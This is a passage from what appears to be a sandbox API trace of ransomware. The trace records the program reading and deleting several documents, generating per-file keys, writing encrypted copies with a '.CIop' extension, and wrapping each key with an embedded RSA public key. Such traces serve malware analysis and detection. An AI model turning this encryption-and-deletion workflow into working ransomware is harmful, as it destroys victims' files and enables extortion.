2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0093.948] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0093.948] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62e4c0) returned 1 [0093.948] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62e4c0, dwCertEncodingType=0x1, pInfo=0x681680, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c3010) returned 1 [0093.948] CryptEncrypt (in: hKey=0x5c3010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0093.948] CryptEncrypt (in: hKey=0x5c3010, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62ec30*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62ec30*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0093.948] WriteFile (in: hFile=0x494, lpBuffer=0x62ec30*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62ec30*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0093.948] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.948] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.949] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.949] CloseHandle (hObject=0x494) returned 1 [0093.949] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\0KK10L8Yj9PSdD5_rlI8.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\0kk10l8yj9psdd5_rli8.pptx")) returned 0 Thread: id = 96 os_tid = 0x8d0 [0093.969] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.969] lstrcpyW (in: lpString1=0x2f0f368, lpString2="6w48s.rtf" | out: lpString1="6w48s.rtf") returned="6w48s.rtf" [0093.969] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0093.969] SetErrorMode (uMode=0x1) returned 0x1 [0093.969] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\6w48s.rtf") returned 84 [0093.969] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\6w48s.rtf", dwFileAttributes=0x20) returned 1 [0093.969] StrStrW (lpFirst="6w48s.rtf", lpSrch=".CIop") returned 0x0 [0093.969] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\6w48s.rtf.CIop") returned 89 [0093.969] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\6w48s.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\6w48s.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0093.970] ReadFile (in: hFile=0x47c, lpBuffer=0x638ce8, nNumberOfBytesToRead=0x151c9, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesRead=0x2f0e5e8*=0x151c9, lpOverlapped=0x0) returned 1 [0093.970] CloseHandle (hObject=0x47c) returned 1 [0093.970] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\6w48s.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\6w48s.rtf")) returned 1 [0093.972] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0093.972] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0093.972] SetErrorMode (uMode=0x1) returned 0x1 [0093.972] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62ed40) returned 1 [0093.974] CryptGenKey (in: hProv=0x62ed40, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3190) returned 1 [0094.008] CryptExportKey (in: hKey=0x5c3190, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0094.008] CryptExportKey (in: hKey=0x5c3190, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0094.008] CryptDestroyKey (hKey=0x5c3190) returned 1 [0094.008] CryptReleaseContext (hProv=0x62ed40, dwFlags=0x0) returned 1 [0094.008] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\6w48s.rtf.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\6w48s.rtf.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0094.008] WriteFile (in: hFile=0x47c, lpBuffer=0x638ce8*, nNumberOfBytesToWrite=0x151c9, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x151c9, lpOverlapped=0x0) returned 1 [0094.011] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x151c9 [0094.011] WriteFile (in: hFile=0x47c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.011] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x151d0 [0094.011] SetErrorMode (uMode=0x1) returned 0x1 [0094.011] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.011] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.011] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0094.011] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62dff8) returned 1 [0094.011] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62dff8, dwCertEncodingType=0x1, pInfo=0x683220, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c30d0) returned 1 [0094.011] CryptEncrypt (in: hKey=0x5c30d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0094.012] CryptEncrypt (in: hKey=0x5c30d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e5d0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62e5d0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0094.012] WriteFile (in: hFile=0x47c, lpBuffer=0x62e5d0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62e5d0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.012] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.012] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.013] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.013] CloseHandle (hObject=0x47c) returned 1 [0094.014] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\6w48s.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\6w48s.rtf")) returned 0 Thread: id = 97 os_tid = 0xaf4 [0094.049] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.049] lstrcpyW (in: lpString1=0x2fef368, lpString2="B-2cmW.doc" | out: lpString1="B-2cmW.doc") returned="B-2cmW.doc" [0094.049] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0094.049] SetErrorMode (uMode=0x1) returned 0x1 [0094.049] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\B-2cmW.doc") returned 85 [0094.049] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\B-2cmW.doc", dwFileAttributes=0x20) returned 1 [0094.049] StrStrW (lpFirst="B-2cmW.doc", lpSrch=".CIop") returned 0x0 [0094.049] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\B-2cmW.doc.CIop") returned 90 [0094.049] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\B-2cmW.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\b-2cmw.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0094.050] ReadFile (in: hFile=0x494, lpBuffer=0x5f1c58, nNumberOfBytesToRead=0x475b, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x5f1c58*, lpNumberOfBytesRead=0x2fee5e8*=0x475b, lpOverlapped=0x0) returned 1 [0094.050] CloseHandle (hObject=0x494) returned 1 [0094.051] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\B-2cmW.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\b-2cmw.doc")) returned 1 [0094.052] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ff0000 [0094.052] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3000000 [0094.052] SetErrorMode (uMode=0x1) returned 0x1 [0094.052] CryptAcquireContextW (in: phProv=0x2fee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2fee5b8*=0x62e190) returned 1 [0094.054] CryptGenKey (in: hProv=0x62e190, Algid=0x1, dwFlags=0x4000, phKey=0x2fee5bc | out: phKey=0x2fee5bc*=0x5c3190) returned 1 [0094.067] CryptExportKey (in: hKey=0x5c3190, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2fee5ec | out: pbData=0x0*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.068] CryptExportKey (in: hKey=0x5c3190, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3000000, pdwDataLen=0x2fee5ec | out: pbData=0x3000000*, pdwDataLen=0x2fee5ec*=0x94) returned 1 [0094.068] CryptDestroyKey (hKey=0x5c3190) returned 1 [0094.068] CryptReleaseContext (hProv=0x62e190, dwFlags=0x0) returned 1 [0094.068] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\B-2cmW.doc.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\b-2cmw.doc.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0094.068] WriteFile (in: hFile=0x494, lpBuffer=0x5f1c58*, nNumberOfBytesToWrite=0x475b, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x5f1c58*, lpNumberOfBytesWritten=0x2fee5d8*=0x475b, lpOverlapped=0x0) returned 1 [0094.069] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x475b [0094.069] WriteFile (in: hFile=0x494, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2fee5d8*=0x7, lpOverlapped=0x0) returned 1 [0094.069] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4762 [0094.069] SetErrorMode (uMode=0x1) returned 0x1 [0094.069] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0094.069] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2fed5b8, pcbBinary=0x2fed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0094.069] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2fed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598 | out: pvStructInfo=0x2fed5a0, pcbStructInfo=0x2fed598) returned 1 [0094.069] CryptAcquireContextW (in: phProv=0x2fed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2fed5a8*=0x62ea10) returned 1 [0094.070] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62ea10, dwCertEncodingType=0x1, pInfo=0x682ee0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2fed5b0 | out: phKey=0x2fed5b0*=0x5c2c10) returned 1 [0094.070] CryptEncrypt (in: hKey=0x5c2c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2fed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2fed5b4*=0x80) returned 1 [0094.070] CryptEncrypt (in: hKey=0x5c2c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e658*, pdwDataLen=0x2fed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62e658*, pdwDataLen=0x2fed5a4*=0x80) returned 1 [0094.070] WriteFile (in: hFile=0x494, lpBuffer=0x62e658*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2fee5d8, lpOverlapped=0x0 | out: lpBuffer=0x62e658*, lpNumberOfBytesWritten=0x2fee5d8*=0x80, lpOverlapped=0x0) returned 1 [0094.070] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0094.070] VirtualFree (lpAddress=0x2ff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.070] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.070] CloseHandle (hObject=0x494) returned 1 [0094.071] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\B-2cmW.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\b-2cmw.doc")) returned 0 Thread: id = 98 os_tid = 0x7c4 [0094.076] lstrcpyA (in: lpString1=0x2fee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0094.076] lstrcpyW (in: lpString1=0x2fef368, lpString2="CQjd3NSx.ppt" | out: lpString1="CQjd3NSx.ppt") returned="CQjd3NSx.ppt" [0094.076] lstrcpyW (in: lpString1=0x2fef768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\" [0094.076] SetErrorMode (uMode=0x1) returned 0x1 [0094.076] wsprintfW (in: param_1=0x2feeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CQjd3NSx.ppt") returned 87 [0094.076] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CQjd3NSx.ppt", dwFileAttributes=0x20) returned 1 [0094.076] StrStrW (lpFirst="CQjd3NSx.ppt", lpSrch=".CIop") returned 0x0 [0094.076] wsprintfW (in: param_1=0x2fee758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CQjd3NSx.ppt.CIop") returned 92 [0094.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\sNkHGs\\CQjd3NSx.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\snkhgs\\cqjd3nsx.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0094.077] ReadFile (in: hFile=0x47c, lpBuffer=0x638ce8, nNumberOfBytesToRead=0x165ff, lpNumberOfBytesRead=0x2fee5e8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesRead=0x2fee5e8*=0x165ff, lpOverlapped=0x0) returned 1 